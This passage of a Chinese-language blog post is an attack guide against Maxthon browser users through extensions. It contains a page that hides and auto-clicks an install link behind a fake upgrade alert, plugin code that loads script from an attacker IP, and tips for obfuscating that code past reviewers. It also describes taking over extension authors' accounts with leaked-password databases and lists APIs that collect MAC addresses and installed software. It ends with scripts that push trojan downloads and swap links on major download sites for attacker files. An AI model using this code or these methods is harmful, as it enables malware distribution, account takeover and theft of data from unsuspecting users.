        versionArr[i] = parseInt(versionArr[i], 10);
    };
    return versionArr;
}
function getUser(id) {
    $.ajax({
        type: &apos;GET&apos;,
        url: &apos;http://extension.maxthon.cn/common/ajax.php?id=&apos; + id,
        data: &apos;data&apos;,
        dataType: &apos;json&apos;,
        success: function (data) {},
        error: function () {}
    });
}
$(document).delegate(&apos;#app-install&apos;, &apos;click&apos;, function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, &apos;a[file_def]&apos;, &apos;app&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;详情可以在 &lt;a href=&quot;http://extension.maxthon.cn/js/temp.js&quot;&gt;http://extension.maxthon.cn/js/temp.js&lt;/a&gt; 里第 1256 行到 1600 行查看原始代码。&lt;/p&gt;
&lt;p&gt;此处的代码里的入口处就在&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;$(document).delegate(&apos;#app-install&apos;, &apos;click&apos;, function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, &apos;a[file_def]&apos;, &apos;app&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当点击 id 为 &lt;code&gt;app-install&lt;/code&gt; 的 DOM 时，会先调用 &lt;code&gt;getInstallMessage&lt;/code&gt; 函数，&lt;code&gt;getInstallMessage&lt;/code&gt; 函数里再调用 &lt;code&gt;installPack&lt;/code&gt; 函数，&lt;code&gt;installPack&lt;/code&gt; 函数调用 &lt;code&gt;returnIsInstall&lt;/code&gt; 函数和 &lt;code&gt;getUser&lt;/code&gt; 函数，&lt;code&gt;returnIsInstall&lt;/code&gt; 函数调用了 &lt;code&gt;getVersionArr&lt;/code&gt; 函数。&lt;/p&gt;
&lt;p&gt;最核心的代码在 installPack 函数里的 &lt;code&gt;external.mxCall(&apos;InstallApp&apos;, packUrl);&lt;/code&gt;，但是无法直接调用，不然无法安装。而且这里的 packUrl 必须是 &lt;code&gt;http://extension.maxthon.cn&lt;/code&gt; 下的，不然无法安装，需要事先提交你的插件到遨游插件平台，才可以。&lt;/p&gt;
&lt;p&gt;上面说到当点击 id 为 &lt;code&gt;app-install&lt;/code&gt; 的 DOM 时才会触发，我这个人比较懒。就直接 copy 遨游插件的 html 代码了，顺便把他隐藏了:
&lt;code&gt;&amp;lt;a id=&quot;app-install&quot; style=&quot;display:none;&quot; file_def=&quot;1.0.1&quot; file_url=&quot;http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon&quot; file_id=&quot;&amp;lt;?echo $view_id;?&amp;gt;&quot;&amp;gt;安装&amp;lt;/a&amp;gt;&lt;/code&gt;，这里的 file_id 为 &lt;code&gt;&amp;lt;?echo $view_id;?&amp;gt;&lt;/code&gt; 估计是遨游的程序员没写好代码，PHP 没解析成功，解析成 html 代码了。但是我懒得改，就这样把。然后我再在他们的后面增加 &lt;code&gt;$(&quot;#app-install&quot;).click();&lt;/code&gt; 代码，让他自动触发&lt;/p&gt;
&lt;p&gt;完整的网站代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
    &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&amp;gt;
    &amp;lt;title&amp;gt;欺骗用户安装插件&amp;lt;/title&amp;gt;
    &amp;lt;script src=&quot;//cdn.bootcss.com/jquery/3.1.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    欺骗用户安装插件 demo1
    &amp;lt;a id=&quot;app-install&quot; style=&quot;display: none;&quot; file_def=&quot;1.0.1&quot; file_url=&quot;http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon&quot; file_id=&quot;&amp;lt;?echo $view_id;?&amp;gt;&quot;&amp;gt;安装&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script src=&quot;//cdn.bootcss.com/jquery/3.1.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
    setTimeout(function(){
        if(typeof(plug_setup)!=&quot;function&quot;){
            alert(&quot;因网站升级，网站结合了浏览器插件给用户更好的使用体验，请安装 xx 插件后打开此页面&quot;);
            var ERRORTEXT = &apos;非傲游浏览器或版本过低。&amp;lt;a href=&quot;http://www.maxthon.cn&quot; target=&quot;_blank&quot;&amp;gt;点此获取最新版本傲游浏览器&amp;lt;/a&amp;gt;&apos;
            function getInstallMessage(that, messagePack, type) {
                if (external.mxCall) {
                    var packMxAttr = $(that).closest(messagePack);
                    if (type === &apos;skin&apos;) {
                        // 浏览器框架版本号
                        var frameVersion = external.mxCall(&apos;GetSkinFxVersion&apos;);
                    }
                    else if (type === &apos;app&apos;) {
                        // 浏览器框架版本号
                        var frameVersion = external.mxCall(&apos;GetAppFxVersion&apos;);
                        // 下个版本上了就删掉--
                        if (frameVersion === &apos;1.0.0&apos;) {
                            frameVersion = &apos;1.0.1&apos;;
                        }
                        // --下个版本上了就删掉
                    }
                    // 插件包框架版本号
                    var packMxVersion = packMxAttr.attr(&apos;file_def&apos;);
                    // 插件包 url
                    var packUrl = packMxAttr.attr(&apos;file_url&apos;);
                    // 插件 id
                    var packId = packMxAttr.attr(&apos;file_id&apos;);
                    console.log(frameVersion, packMxVersion, packUrl, type, packId)
                    installPack(frameVersion, packMxVersion, packUrl, type, packId);
                }
                else {
                    resultPop.show(&apos;浏览器不符&apos;, ERRORTEXT, &apos;确定&apos;);

                }
            }
            function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
                var isInstall = returnIsInstall(frameVersion, packMxVersion);
                if (isInstall !== -1) {
                    if (type === &apos;skin&apos;) {
                        external.mxCall(&apos;InstallSkin&apos;, packUrl);
                    }
                    else if (type === &apos;app&apos;) {
                        external.mxCall(&apos;InstallApp&apos;, packUrl);
                    }
                    getUser(packId);
                }
                else {
                    resultPop.show(&apos;浏览器不符&apos;, ERRORTEXT, &apos;确定&apos;);
                }
            }
            function returnIsInstall(frameVersion, packMxVersion) {
                var fvItem;
                var pvItem;
                var frameVersion = getVersionArr(frameVersion);
                var packMxVersion = getVersionArr(packMxVersion);
                // 定义增长索引值.
                var i = 0;
                while (1) {
                    fvItem = frameVersion[i];
                    pvItem = packMxVersion[i];
                    if (fvItem == null &amp;amp;&amp;amp; pvItem == null) {
                        return 0;
                    }
                    if (fvItem == null) {
                        return -1;
                    }
                    if (pvItem == null) {
                        return 1;
                    }
                    if (fvItem != pvItem) {
                        var value = fvItem &amp;gt; pvItem ? 1 : -1
                        return value;
                    }
                    i++;
                }
            }
            function getVersionArr(version) {
                var versionArr = version.split(&apos;.&apos;);
                for (var i = 0; i &amp;lt; versionArr.length; i++) {
                    versionArr[i] = parseInt(versionArr[i], 10);
                };
                return versionArr;
            }
            function getUser(id) {
                $.ajax({
                    type: &apos;GET&apos;,
                    url: &apos;http://extension.maxthon.cn/common/ajax.php?id=&apos; + id,
                    data: &apos;data&apos;,
                    dataType: &apos;json&apos;,
                    success: function (data) {},
                    error: function () {}
                });
            }
            $(document).delegate(&apos;#app-install&apos;, &apos;click&apos;, function (event) {
                event.preventDefault();
                event.stopPropagation();
                getInstallMessage(this, &apos;a[file_def]&apos;, &apos;app&apos;);
            });
            $(&quot;#app-install&quot;).click();
        }
    },1000);
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开后的样子:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/fake-upgrade-alert.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/addon-download-progress.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/lol-plugin-install-prompt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这处的 LOL 战绩查询插件是我之前上传的 (不要安装)。真正攻击时可以换成不要那么二的名字，比如“网站增强工具”等&lt;/p&gt;
&lt;p&gt;一开始，我还想试试能不能点击劫持，这样就可以在用户不知情的情况下安装插件，但是这个安装程序不是在页面里面的。无法进行劫持，随之放弃。&lt;/p&gt;
&lt;p&gt;这样一来，尽量让用户少思考的网页就做好了。发布，等待用户上钩吧。这个方法可以与 APT 攻击中的“水坑攻击”进行相结合，以达到针对性某些特殊的群体或个体的攻击方式&lt;/p&gt;
&lt;h3&gt;0x1.2 被动等待 {#passive-wait}&lt;/h3&gt;
&lt;p&gt;这个办法是属于广撒网，当没有指定性群体或者个人，只是为了单纯的攻击或者研究时使用。&lt;/p&gt;
&lt;p&gt;这里也有一些小技巧，当开发者上传插件时，遨游审核人员会对插件进行审核，如果发现危害用户的代码，将不给予通过，乍一看没什么问题，但是没有后续了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;没有定期自动化扫描插件代码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;而且即使插件是一个小游戏用，都可以在配置文件 def.json 里申请权限是最高的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;当代码量足够多的时候，开发人员可以把一些危害到用户请求的代码进行加密混编绕过审查人员的眼睛。（调用伟大的人民领袖毛主席的一句话: 与规矩斗，其乐无穷。与代码斗其乐无穷。与人斗其乐无穷。）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;可以在插件里调用第三方的 JavaScript 代码，第三方 url 可以指向任何域名。没有进行判断 URL 及 js 文件是否为可信&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;利用以上的问题，我们就可以写出一个具有危害到用户插件，且绕过审查人员的眼睛。&lt;/p&gt;
&lt;p&gt;我们可以在插件源码 base.js 文件里写&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;//xxxxx 其他多余的代码
var script = document.createElement(&apos;script&apos;);
script.src = &quot;http://你的域名/javascript文件名.js&quot;;
document.body.appendChild(script);
//xxxxx 其他多余的代码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果不放心可可以加密成下面的这种格式:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&amp;lt;a?&quot;&quot;: e(parseInt(c/a)))+((c=c%a)&amp;gt;35?String.fromCharCode(c+29): c.toString(36))};if(!&apos;&apos;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&apos;\\w+&apos;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&apos;\\b&apos;+e(c)+&apos;\\b&apos;,&apos;g&apos;),k[c]);return p;}(&apos;o 7=[&quot;\\e\\c\\g\\b\\a\\9&quot;,&quot;\\c\\g\\6\\8\\9\\6\\q\\h\\6\\j\\6\\f\\9&quot;,&quot;\\e\\g\\c&quot;,&quot;\\m\\9\\9\\a\\t\\i\\i\\d\\n\\j\\8\\b\\f\\i\\l\\8\\s\\8\\e\\c\\g\\b\\a\\9\\r\\b\\h\\6\\f\\8\\j\\6\\u\\l\\e&quot;,&quot;\\8\\a\\a\\6\\f\\d\\w\\m\\b\\h\\d&quot;,&quot;\\x\\n\\d\\v&quot;];o k=p[7[1]](7[0]);k[7[2]]=7[3];p[7[5]][7[4]](k)&apos;,34,34,&apos;||||||x65|_0|x61|x74|x70|x69|x63|x64|x73|x6E|x72|x6C|x2F|x6D|script|x6A|x68|x6F|var|document|x45|x66|x76|x3A|x2E|x79|x43|x62&apos;.split(&apos;|&apos;),0,{}))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;方法为: 先在 &lt;a href=&quot;https://javascriptobfuscator.com/Javascript-Obfuscator.aspx&quot;&gt;javascriptobfuscator&lt;/a&gt; 上把正常的 javascript 代码加密成:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var _0x67c5=[&quot;\x73\x63\x72\x69\x70\x74&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74&quot;,&quot;\x73\x72\x63&quot;,&quot;\x68\x74\x74\x70\x3A\x2F\x2F\x64\x6F\x6D\x61\x69\x6E\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x66\x69\x6C\x65\x6E\x61\x6D\x65\x2E\x6A\x73&quot;,&quot;\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64&quot;,&quot;\x62\x6F\x64\x79&quot;];var script=document[_0x67c5[1]](_0x67c5[0]);script[_0x67c5[2]]= _0x67c5[3];document[_0x67c5[5]][_0x67c5[4]](script)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/javascriptobfuscator-encode.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;因为这样的代码看起来着实有点可疑…所以再去&lt;a href=&quot;http://tool.chinaz.com/js.aspx&quot;&gt;站长之家&lt;/a&gt;加密成常见的加密代码:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/chinaz-js-encrypt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;嗯，看着正常多了。放在众多代码之中，审查人员也很难找到 (也不会用心找的)&lt;/p&gt;
&lt;p&gt;提交后，会在遨游插件的首页显示最近更新的插件，你只需要每个星期随便增加一点代码或者删除一点代码，再更新一下插件，你的插件就会常年存在插件首页，安装人数想不多都难。&lt;/p&gt;
&lt;h3&gt;0x1.3 基于社工库控制插件作者的账户 {#hijack-author}&lt;/h3&gt;
&lt;p&gt;这个也是我个人来说最喜欢的方式，毕竟不得不承认不劳而获真的好爽啊。&lt;/p&gt;
&lt;p&gt;因为 Maxthon 更新插件时没有像 Chrome 那样需要秘钥才可以更新，所以导致这个’逻辑漏洞’’。因为没有验证当前是否为作者本人的机制，才导致这个方法的可行性。&lt;/p&gt;
&lt;p&gt;之前加了 maxthon 插件的作者群: 203339427&lt;/p&gt;
&lt;p&gt;里面大多都是插件的开发人员，拿他们的邮箱、QQ 放在社工库里进行查询，得到密码后可以进行尝试登陆。当然因为不确定是作者使用的是哪个邮箱，我们先拿 QQ 邮箱登录，他会提示账户或密码错误，不知道是账户错误还是密码错误，可以先去&lt;a href=&quot;https://my.maxthon.cn/recover.html&quot;&gt;遨游账户中心-忘记密码&lt;/a&gt;先填写 QQ 邮箱，如果说用户名不存在，我们可以在网上搜索一下这个作者其他的邮箱，再进行测试 (我测试的账户里，很多都需要在网上搜索一下其他的邮箱)。因为之前我把这个当做漏洞提交给 wooyun 了，遨游没什么反应。本来是想登陆其他用户说明的，但是 wooyun 暂时休整，无法看到我之前的漏洞详情，而当时社到的账户和密码也没有备份，只在 wooyun 漏洞详情里有，没有办法，所以这里我就以我自己为例:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/uploaded-plugins-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里有个&lt;code&gt;更新文件&lt;/code&gt;，我们这个时候，可以先把文件 download 本地，在里面的 javascript 文件里植入我们的后门。再上传上去。就可以控制 1000 多个用户了。插件二次审核查的更松。&lt;/p&gt;
&lt;p&gt;而且当你打开遨游浏览器时，遨游浏览器会检测你的插件是否为最新的，如果不是最新的，他会在后台静默安装最新的插件。这个时候对我们的帮助特别大。比如我们更新插件后，只需要等待用户重新打开遨游浏览器就可以实现了攻击的效果。&lt;/p&gt;
&lt;p&gt;更新的时候，就这个账户当做自己的账户就行了，然后照着 0x1.2 代码写上去就没问题了。&lt;/p&gt;
&lt;h3&gt;0x1.4 控制插件里调用的第三方 javascript 代码 {#third-party-js}&lt;/h3&gt;
&lt;p&gt;这个方法比较繁琐，有两种方法来获取第三方的 javascript，分为两种情况&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不具有可视化页面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;具有可视化页面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;0x1.4.1 不具有可视化页面 {#no-ui}&lt;/h4&gt;
&lt;p&gt;类似我上面所说的，在插件的 &lt;code&gt;def.json&lt;/code&gt; 配置文件里写上:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;actions&quot;: [{
    &quot;type&quot;: &quot;script&quot;,
    &quot;entryPoints&quot;: [
        &quot;doc_onload&quot;
    ],
    &quot;js&quot;: [
        &quot;base.js&quot;
    ],
    &quot;include&quot;: [&quot;*&quot;],
    &quot;includeFrames&quot;: true
}]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在 base.js 文件里写入你要调用的第三方 javascript 文件:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var script = document.createElement(&apos;script&apos;);
script.src = &quot;http://119.29.58.242/control.js&quot;;
document.body.appendChild(script);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;像这种的话，就需要在把插件 download 本地，然后使用 maxthon 官方提供的 &lt;a href=&quot;http://bbs.maxthon.cn/thread-664-1-1.html&quot;&gt;MxPacker&lt;/a&gt; 软件，进行的解密，首先分析 &lt;code&gt;def.json&lt;/code&gt; 里的 action 字段下的 js 属性，指向的是哪个 javascript 文件。再进行分析，当然也可以使用其他软件对文件内容进行搜索，看里面是否存在’document.createElement’关键字。&lt;/p&gt;
&lt;p&gt;找到后，接下来就是苦力活了，入侵这个第三方 javascript 所属的网站。入侵后再修改这个 javascript 文件，就行了。&lt;/p&gt;
&lt;h4&gt;0x1.4.2 具有可视化页面 {#with-ui}&lt;/h4&gt;
&lt;p&gt;这个比上面 0x1.4.1 简单点，使用之前长短短在 zone 分享的代码就可以把这个页面所有第三方的 javascript 文件列举出来:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var i=0,tags=document.querySelectorAll(&apos;iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]&apos;),tag;tag=tags[i];i++){
  var a = document.createElement(&apos;a&apos;);
  a.href = tag.src||tag.href||tag.data;
  if(a.hostname!=location.hostname){
    console.warn(location.hostname+&apos; 发现第三方资源[&apos;+tag.localName+&apos;]:&apos;+a.href);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用方法如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/kuaidi-plugin-detail.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/inspect-plugin-page.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/console-typeerrors.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/third-party-resource-log.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用的时候，会发现有的插件是调用了插件本身的 javascript 文件，或者其他 baidu、360 等第三方安全不容易被入侵的网站里的 javascript 代码，这个时候就比较费时费力了。&lt;/p&gt;
&lt;h3&gt;0x1.4.3 控制插件里调用的第三方 javascript 代码总结 {#third-party-js-conclusion}&lt;/h3&gt;
&lt;p&gt;这个方法较为繁琐，优点如下:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不容易被发现&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;向上反查也比较难追踪&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;缺点:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;费时费力&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;成功率较低&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此种方法适用于针对某一人或团体，只能获得其装的插件名称，当别无他法时使用此方法。&lt;/p&gt;
&lt;h2&gt;0x2 那些隐藏的 API: {#hidden-api}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;因为一些 API 获得的信息比较隐私，所以遨游官方没在在 API 手册里写。但是他们真实存在，我们可以在一个普通的页面里打开审查元素下的 Console 输入 external 来查看一些遨游官方隐藏的 API。&lt;/p&gt;
&lt;p&gt;还有一种是在插件页面的里专用 API，插件里的 API 基本上每个版本上都会发生变化，下面是 3.x 版本的 API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;maxthon.system.Utility.getMacAddresses() //获取用户的 MAC 地址
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getAvailableFontFamilyNames() //获取用户当前所有的字体文
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getSystemFontName() //用户当前应用的字体
maxthon.io.File.createTempFile().name_ //获取用户临时目录
maxthon.io.File.createTempFile().isFile //判断 name_文件是否存在，但是这里我无法重新设置 name_的值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面是最新版本 4.x 版本的 API:&lt;/p&gt;
&lt;p&gt;遨游把之前在 maxthon 对象下的函数、对象分离在其他地方了（其实还是有，不明白其用意）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;mx.app.getAvatar()    //获得当前登录用户的头像 (data: image/png;base64 格式)
mx.app.login()    //判断是否登录了遨游浏览器 (登录返回 true，没登陆返回 false)
mx.app.getProfile()    //获得用户当前的状态 (是否登录、uid、用户名称)
mx.app.getSystemLocale()    //获得系统语言 (例如: zh-cn)
mx.app.showUserPanel()    //显示用户菜单 (相当于点击左上角的头像)
//以上的代码需要事先运行 mx.app.user()、mx.app.locale()

clientInformation.plugins     //浏览器支持的插件 (可看到用户安装哪些软件)
clientInformation.mimeTypes    //列举出支持的 application(可看到用户安装哪些软件)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里针对最后两个 API 截图看下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/plugins-api-output.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/browser-plugin-attack-vector/mimetypes-api-output.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这些东西写在插件里，获取用户安装了哪些软件轻而易举。基本上是没有隐私可言了。&lt;/p&gt;
&lt;h2&gt;0x3 攻击向量: {#attack-vectors}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;普通的获取 cookies 我们就不说了，介绍点其他的。&lt;/p&gt;
&lt;p&gt;上面介绍的都是针对浏览器插件对用户进行的攻击，但是攻击的平面都是浏览器。但是谁不想进一步控制用户的电脑权限呢。大致的思路如下:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;弹窗欺骗用户说需要下载软件，其实是木马程序&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;使用浏览器漏洞进行攻击&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;替换下载链接&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;0x3.1 弹窗欺骗用户下载软件 {#fake-download}&lt;/h3&gt;
&lt;p&gt;这一步很简单，就是一些简单的 javascript 代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){    //闭包函数，防止变量污染
    alert(&quot;请下载xxx安全插件保障您在此网站的安全&quot;);
    location.href = &quot;http://baidu.com/download/xxxx.exe&quot;;
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这里不能一直弹窗下载，不然肯定会引起怀疑的，下面我们来进行优化:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){    //闭包函数，防止变量污染
    var downDate = new Date();  //获取当前的时间
    var downDateY = String(downDate).split(&quot; &quot;)[3]; //年份
    var downDateM = String(downDate).split(&quot; &quot;)[1]; //月份
    var downDateD = String(downDate).split(&quot; &quot;)[2]; //日期
    var downDateT = String(downDate).split(&quot; &quot;)[4].split(&quot;:&quot;);  //时间
    if(location.href != &quot;https://baidu.com/&quot;){  //当不是百度时，不执行下面的代码
        return fasle;
    }
    if(downDateY == &quot;2016&quot; &amp;amp;&amp;amp; downDateM == &quot;Oct&quot; &amp;amp;&amp;amp; downDateD == &quot;28&quot; &amp;amp;&amp;amp; downDateT[0] == &quot;21&quot; &amp;amp;&amp;amp; downDateT[1] &amp;lt; &quot;30&quot;){
        alert(&quot;请下载xxx安全插件保障您在此网站的安全&quot;);
        location.href = &quot;http://baidu.com/download/xxxx.exe&quot;;
    }
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;真正写的时候，不要像我这么写，我这样写是因为逻辑比较简单，但是代码量比较多。意思是说当当前网站是 &lt;code&gt;https://baidu.com/&lt;/code&gt; 时再判断时间是否为 2016 年 10 月 28 号晚上 9 点到 9 点半之间，如果是则弹窗让用户下载木马程序。&lt;/p&gt;
&lt;h3&gt;0x3.2 使用浏览器漏洞进行攻击 {#browser-exploit}&lt;/h3&gt;
&lt;p&gt;漏洞是要靠自己挖掘的，这里不再多说，大家可以去看一下 Blast 写的书籍《浏览器安全》。也可以看下之间黑哥写的 PPT《去年跨过的浏览器》，之前 maxthon 就因为特殊域下的 &lt;code&gt;mxCall&lt;/code&gt; 函数的问题，导致可以执行任意命令。大家可以挖挖看，总会有意想不到的收获。&lt;/p&gt;
&lt;h3&gt;0x3.3 替换下载链接 {#replace-download}&lt;/h3&gt;
&lt;p&gt;替换的话，我们需要先采集几个下载量比较大的下载站，我这里列举一下:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://xiazai.zol.com.cn/&quot;&gt;ZOL 下载-免费软件，绿色软件&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.skycn.com/&quot;&gt;天空下载站&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.onlinedown.net/&quot;&gt;华军软件园&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.skycn.net/&quot;&gt;hao123 下载站&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://dl.pconline.com.cn/&quot;&gt;太平洋下载中心&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://rj.baidu.com/&quot;&gt;百度软件中心&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;还有很多，这里就不在列举了，下面我们就根据这些下载站来写替换的 javascript 代码。
先写段代码，让他判断当前的网址是否为下载站&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    var downloadWebsite = [
        &apos;http://xiazai.zol.com.cn&apos;,
        &apos;http://www.skycn.com&apos;,
        &apos;http://www.onlinedown.net&apos;,
        &apos;http://dl.pconline.com.cn&apos;,
        &apos;http://rj.baidu.com&apos;
    ];  //要替换的下载站 url 地址
    var replaceDownloadUrl = &quot;http://xxxx.com/download/soft.rar&quot;;   //要替换的下载软件
    switch(location.origin){  //对当前的 url 进判断，是否为下载站，如果是则进入其操作函数里
        case downloadWebsite[0]:
            var download1 = document.getElementById(&quot;downloadTop&quot;);
            var download2 = document.querySelectorAll(&quot;.down-alink a&quot;);
            var download3 = document.querySelectorAll(&quot;.down-alink01 a&quot;);
            if(download1 != null &amp;amp;&amp;amp; download2.length != 0 &amp;amp;&amp;amp; download3.length != 0){
                download1.href = replaceDownloadUrl;
                for(var j = 0;j &amp;lt; download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
                for(var k = 0;k &amp;lt; download3.length;k++){
                    download3[k].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[1]:
            var download1 = document.querySelectorAll(&quot;.ul_Address li a&quot;);
            if(download1.length != 0){
                for(var j = 0;j &amp;lt; download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[2]:
            var download1 = document.querySelectorAll(&quot;.softinfoBox .meg a&quot;);
            var download2 = document.querySelectorAll(&quot;.downDz a&quot;);;
            if(download1.length != 0 &amp;amp;&amp;amp; download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                for(var j = 0;j &amp;lt; download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[3]:
            var download1 = document.querySelectorAll(&quot;.dlLinks-a a&quot;);
            if(download1.length != 0){
                for(var j = 0;j &amp;lt; download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[4]:
            var download1 = document.querySelectorAll(&quot;.fast_download&quot;);
            var download2 = document.querySelectorAll(&quot;.normal_download&quot;);
            if(download1.length != 0 &amp;amp;&amp;amp; download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                download2[0].href = replaceDownloadUrl;
            }
        break;
    }
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;0x3.4 修改百排名 {#seo-ranking}&lt;/h3&gt;
